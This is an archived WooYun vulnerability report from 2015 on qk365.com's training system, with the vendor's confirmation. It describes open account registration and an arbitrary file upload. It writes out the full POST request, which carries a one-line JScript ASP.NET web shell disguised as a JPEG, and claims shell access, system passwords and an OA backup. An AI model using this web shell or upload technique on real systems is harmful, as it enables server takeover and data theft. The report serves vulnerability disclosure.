当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0152103

漏洞标题：青客某系统配置不当导致getshell（侧漏一枚系统密码/oa数据库/影响部分账号安全）

相关厂商：qk365.com

漏洞作者： 糖剩七颗

提交时间：2015-11-05 17:45

修复时间：2015-12-20 18:32

公开时间：2015-12-20 18:32

漏洞类型：后台弱口令

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-05： 细节已通知厂商并且等待厂商处理中
2015-11-05： 厂商已经确认，细节仅向厂商公开
2015-11-15： 细节向核心白帽子及相关领域专家公开
2015-11-25： 细节向普通白帽子公开
2015-12-05： 细节向实习白帽子公开
2015-12-20： 细节向公众公开

简要描述：

青客某系统配置不当导致getshell

详细说明：

http://px.qk365.com/default.aspx


0.png


可以任意注册账号 admin123/admin123

1.png


2.png


3.png


可任意上传文件

POST /PXSystem/User_Info_Manage.aspx HTTP/1.1
Host: px.qk365.com
Proxy-Connection: keep-alive
Content-Length: 3113
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://px.qk365.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd5rPHJR88c1TPeJS
Referer: http://px.qk365.com/PXSystem/User_Info_Manage.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASP.NET_SessionId=he4igfacdfmdg4jdllh0vq55
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="__VIEWSTATE"
/wEPDwUKLTg5NDY5Njk3Ng9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YRYSAgEPDxYCHgRUZXh0BQhhZG1pbjEyM2RkAgMPDxYCHwEFDOaZrumAmuWtpuWRmGRkAgUPDxYCHwEFBiZuYnNwO2RkAgcPDxYCHwEFD+aIv+S4nOWFs+ezu+e7hGRkAgkPDxYCHwEFBuebkeeuoWRkAgsPDxYCHwEFCjIwMTUtMTEtMDVkZAInDw8WAh8BZWRkAi0PDxYEHghJbWFnZVVybAU4Li4vVXBsb2FkL1BYU3lzdGVtL2RlZmF1bHQvMTQ5OC8yMDE1MTEwNTA1MDYzMjcxNTI1LmFzcHgeB1Zpc2libGVnZGQCLw8PFgIfA2hkZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQULQXV0b1JlbmFtZTJy2ddlS6o5n09SxDcUtUH6TJAt0Q==
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="STU_NICKNAME"
admin
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="STU_SEX"
男
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="STU_CNNAME"
admin
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="STU_ENNAME"
admin
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="STU_PHONE"
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="STU_MOBILE"
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="STU_EMAIL"
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="STU_CONTACT"
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="STU_EDU"
学士
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="STU_ADDRESS"
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="STU_POST"
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="ACCOUNT_FACE"
-1
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="ACCOUNT_CARD"
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="UploadLocalFile"; filename="12.jpg"
Content-Type: image/jpeg
<%@ Page Language=¡±Jscript¡±%><%eval(Request.Item["qwert"],¡±unsafe¡±);%>
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="UploadLocalFile2"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="AutoRename2"
on
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="saveInfo"
保存数据
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="PICTURE_MODE"
HW
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="PICTURE_WIDTH"
100
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="PICTURE_HEIGHT"
120
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="IMAGE_MODE"
HW
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="IMAGE_WIDTH"
100
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="IMAGE_HEIGHT"
100
------WebKitFormBoundaryd5rPHJR88c1TPeJS--


漏洞证明：

4.png


已shell

5.png


6.png


系统密码

7.png


OA系统备份

8.png

修复方案：

版权声明：转载请注明来源 糖剩七颗@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-11-05 18:30

厂商回复：

非常感谢你帮我们系统安全检测出漏洞，我们将重视这个问题，并立即进行整改。

最新状态：

暂无

漏洞评价：

评价